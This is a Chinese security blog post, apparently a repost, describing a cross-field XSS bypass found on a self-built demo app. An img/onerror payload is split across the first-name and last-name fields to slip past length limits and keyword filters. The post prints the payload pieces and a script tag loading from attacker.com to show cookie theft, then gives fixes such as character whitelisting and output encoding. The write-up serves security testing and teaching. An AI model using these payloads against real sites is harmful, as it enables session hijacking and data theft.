2026-03-11 03:01:07 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 文档介绍了一种跨字段XSS绕过技术，针对存在长度限制与关键字过滤的应用，利用姓名字段在渲染时拼接的特性，将Payload拆分注入以绕过独立校验。文章通过实例演示了攻击过程，分析了漏洞成因与危害，并提出结合严格输入验证与输出编码的修复建议，强调了观察应用拼接逻辑对安全测试的重要性。 综合评分： 85 文章分类： 渗透测试,WEB安全,漏洞分析,实战经验,漏洞POC

cover_image

Cross‑Field XSS —— 我在测试中发现的一种创造性绕过方法

haidragon haidragon

安全狗的自我修养

2026年3月10日 14:44 湖南

官网：http://securitytech.cc

我想分享一个在对 Web 应用进行安全测试时发现的一个有趣绕过方法。

我很喜欢探索应用程序，并寻找一些不寻常或创造性的漏洞利用方式。在这次测试中，一个很小的观察点最终导致了一个有趣的绕过方法——即使系统有多种限制措施，仍然成功触发了 XSS Payload。

由于安全和漏洞披露的原因，我不能展示原始应用程序。因此我自己构建了一个简单的演示 Web 应用来复现这个行为，以便清晰展示原理。

开始分析这个功能 🌐

在探索应用时，我发现了一个功能：允许用户 添加员工（Worker）信息。

表单包含一些常见字段：

First name（名）
Last name（姓）
Email（邮箱）

乍一看没有什么特别的。

但是在测试输入时，我发现了一些有趣的事情。

当我尝试一些基本的 HTML Injection Payload 时，它们竟然可以成功。

这说明：

HTML 注入是存在的。

于是下一步自然就是尝试把它升级为真正的 XSS Payload。

但这时候问题开始变复杂了。

应用存在很多限制 ❌

我尝试的每个 payload 都被拦截了。

在发送了大量 payload 并观察响应后，我慢慢理解了这个应用的防护机制。

首先发现的是 长度限制（Length Restriction）。

每个输入字段都有严格的字符限制。即使绕过前端限制，服务器端仍然会进行校验。

因此：

较长的 payload 会被直接拒绝。

然后我注意到了 关键字过滤（Keyword Filtering）。

很多 XSS 常用关键字都会被拦截，例如：

alert
fetch
javascript

只要 payload 中出现这些词，请求就会失败。

还有一个有趣的错误提示：

illegal character sequence

这说明服务器还在检测某些特殊字符组合。

到了这里几乎所有普通 XSS Payload 都被阻止了。

于是我开始换一种思路 🤔

创建 worker 后，应用会在页面显示员工的 Full Name（全名）。

输入：

First Name: John
Last Name: Doe

页面显示：

John Doe

这个小细节让我产生了一个想法。

如果应用在显示时 把两个字段拼接起来，

那我是不是 不需要在一个字段里写完整 payload？

或许我可以：

把 payload 拆分到两个字段中。

思路：拆分 Payload ✂️

我原本想使用的 payload：

</p><img src=x onerror="alert('XSS Found')" /><p>

但由于各种限制，它无法通过验证。

于是我把它拆分。

First Name 字段：

</p><img src=x onerror=al

Last Name 字段：

ert('XSS Found')/><p>

每个输入 单独看都是合法的。

为什么能通过？

因为：

关键字 alert 被拆开了
每个字段的 payload 长度都在限制内
被拦截的字符序列没有完整出现

从服务器角度来看：

一切正常。

然后… Boom 💥

当 Worker Profile 页面显示时，

应用渲染 Full Name：

First Name + Last Name

最终浏览器解析后变成：

</p><img src=x onerror=alert('XSS Found')/><p>

浏览器在渲染页面时 重新拼接了完整 payload。

XSS 成功执行。

Boom 🚀

为什么这个方法有效 💪

原因是：

应用程序只对 每个字段单独验证，

但没有考虑：

这些字段在渲染时会被拼接。

因此：

关键字过滤被绕过
长度限制被绕过
特殊字符序列检测被绕过

所有这些绕过都来自：

Payload 被拆分到多个输入字段。

漏洞影响 ⚠️

这种技术实际上会让漏洞更容易被利用。

因为攻击者可以使用 多个字段组合 payload，从而：

增加可用 payload 长度。

例如加载外部脚本：

<script src=https://attacker.com/script.js></script>

这样可以实现：

窃取 Session Cookie
数据外泄
以受害者身份执行操作

修复建议 🔨

为了防止类似问题，应用需要：

严格输入验证 + 安全输出处理

一些简单措施：

1 只允许必要字符

例如：

姓名字段只允许：

字母 + 空格

而不是允许所有符号。

2 使用输出编码

在浏览器渲染用户数据前进行 Output Encoding，防止 HTML 或脚本执行。

通过结合：

严格输入验证
安全输出编码

可以防止这种漏洞发生。

这个案例真正的启示 🧠

这个发现让我学到一个非常重要的经验：

绕过限制的关键有时不是：

使用更复杂的 payload

而是：

观察应用的行为。

通过不断发送 payload 并分析响应，你可以逐渐理解服务器的检测逻辑。

理解检测逻辑之后，就可以开始思考：

如何绕过这些检测。

在这个案例中：

关键就是发现：

两个字段在渲染时被拼接在一起。

最后说明 📝

这篇文章仅用于 教育目的，帮助安全测试人员学习这种思路。

如果在测试中遇到类似问题，请：

负责任地报告漏洞。

如果你在测试中见过类似技巧，也欢迎分享。😊

感谢阅读！🚀 后续还会分享更多有趣的安全研究和创意攻击思路。

公众号:安全狗的自我修养
vx:2207344074
http://gitee.com/haidragon
http://github.com/haidragon
bilibili:haidragonx

#

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：安全狗的自我修养 haidragon haidragon《Cross‑Field XSS —— 我在测试中发现的一种创造性绕过方法》